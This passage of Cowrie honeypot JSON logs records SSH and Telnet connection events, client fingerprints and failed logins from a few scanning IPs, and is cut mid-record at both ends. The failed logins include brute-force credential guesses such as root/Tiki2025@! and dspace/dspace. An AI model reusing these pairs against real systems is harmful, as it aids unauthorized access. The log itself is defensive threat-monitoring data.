0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:16.113844Z","src_ip":"192.109.200.237","session":"30ecea198099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:16.361168Z","src_ip":"192.109.200.237","session":"30ecea198099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:17.448326Z","src_ip":"192.109.200.237","session":"30ecea198099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56648,"dst_ip":"10.17.0.5","dst_port":23,"session":"be024d8f02b6","protocol":"telnet","message":"New connection: 50.6.8.71:56648 (10.17.0.5:23) [session: be024d8f02b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:18.899083Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50868,"dst_ip":"159.203.135.109","dst_port":22,"session":"d71b4968c01c","protocol":"ssh","message":"New connection: 192.109.200.237:50868 (159.203.135.109:22) [session: d71b4968c01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:19.617638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:19.622903Z","src_ip":"192.109.200.237","session":"d71b4968c01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:19.705873Z","src_ip":"192.109.200.237","session":"d71b4968c01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:19.953976Z","src_ip":"192.109.200.237","session":"d71b4968c01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.592875242233276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:20.865883Z","src_ip":"50.6.8.71","session":"db0ac36e6750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:21.038714Z","src_ip":"192.109.200.237","session":"d71b4968c01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56654,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cb5ff499be8","protocol":"telnet","message":"New connection: 50.6.8.71:56654 (10.17.0.5:23) [session: 9cb5ff499be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:22.411898Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38808,"dst_ip":"159.203.135.109","dst_port":22,"session":"df24080bc761","protocol":"ssh","message":"New connection: 192.109.200.237:38808 (159.203.135.109:22) [session: df24080bc761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:23.112437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:23.117008Z","src_ip":"192.109.200.237","session":"df24080bc761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:23.199623Z","src_ip":"192.109.200.237","session":"df24080bc761","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:23.447882Z","src_ip":"192.109.200.237","session":"df24080bc761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:24.533821Z","src_ip":"192.109.200.237","session":"df24080bc761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38814,"dst_ip":"159.203.135.109","dst_port":22,"session":"4702fb3babfc","protocol":"ssh","message":"New connection: 192.109.200.237:38814 (159.203.135.109:22) [session: 4702fb3babfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:26.783387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:26.808122Z","src_ip":"192.109.200.237","session":"4702fb3babfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:26.866677Z","src_ip":"192.109.200.237","session":"4702fb3babfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:27.185634Z","src_ip":"192.109.200.237","session":"4702fb3babfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62804,"dst_ip":"10.17.0.5","dst_port":22,"session":"eee876f07e12","protocol":"ssh","message":"New connection: 194.59.206.2:62804 (10.17.0.5:22) [session: eee876f07e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:28.040396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:28.045214Z","src_ip":"194.59.206.2","session":"eee876f07e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:28.123014Z","src_ip":"194.59.206.2","session":"eee876f07e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:28.271097Z","src_ip":"192.109.200.237","session":"4702fb3babfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:28.280593Z","src_ip":"194.59.206.2","session":"eee876f07e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39370,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2ca862a6e8","protocol":"telnet","message":"New connection: 50.6.8.71:39370 (10.17.0.5:23) [session: 7c2ca862a6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:28.773498Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39364,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9ea6bde78be","protocol":"ssh","message":"New connection: 192.109.200.237:39364 (159.203.135.109:22) [session: c9ea6bde78be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:30.330002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:30.335193Z","src_ip":"192.109.200.237","session":"c9ea6bde78be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:30.417689Z","src_ip":"192.109.200.237","session":"c9ea6bde78be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:30.664979Z","src_ip":"192.109.200.237","session":"c9ea6bde78be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4e348e6497","protocol":"telnet","message":"New connection: 50.6.8.71:39378 (10.17.0.5:23) [session: 4b4e348e6497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:30.736690Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:31.750534Z","src_ip":"192.109.200.237","session":"c9ea6bde78be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39416,"dst_ip":"159.203.135.109","dst_port":22,"session":"278836378504","protocol":"ssh","message":"New connection: 192.109.200.237:39416 (159.203.135.109:22) [session: 278836378504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:33.909545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:33.912838Z","src_ip":"192.109.200.237","session":"278836378504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:33.994036Z","src_ip":"192.109.200.237","session":"278836378504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:34.240945Z","src_ip":"192.109.200.237","session":"278836378504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:35.326441Z","src_ip":"192.109.200.237","session":"278836378504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51600,"dst_ip":"10.17.0.5","dst_port":23,"session":"d72f1986188a","protocol":"telnet","message":"New connection: 50.6.8.71:51600 (10.17.0.5:23) [session: d72f1986188a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:37.332732Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39452,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c21ac85a64d","protocol":"ssh","message":"New connection: 192.109.200.237:39452 (159.203.135.109:22) [session: 7c21ac85a64d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:37.423100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:37.431136Z","src_ip":"192.109.200.237","session":"7c21ac85a64d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:37.513453Z","src_ip":"192.109.200.237","session":"7c21ac85a64d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:37.760962Z","src_ip":"192.109.200.237","session":"7c21ac85a64d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.485037803649902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:38.061901Z","src_ip":"50.6.8.71","session":"4f599987ee89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:38.906910Z","src_ip":"192.109.200.237","session":"7c21ac85a64d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.753809452056885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:38.956240Z","src_ip":"50.6.8.71","session":"fbc629ea8737","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57248,"dst_ip":"159.203.135.109","dst_port":22,"session":"44847afd6a53","protocol":"ssh","message":"New connection: 192.109.200.237:57248 (159.203.135.109:22) [session: 44847afd6a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:40.792798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:40.797470Z","src_ip":"192.109.200.237","session":"44847afd6a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v0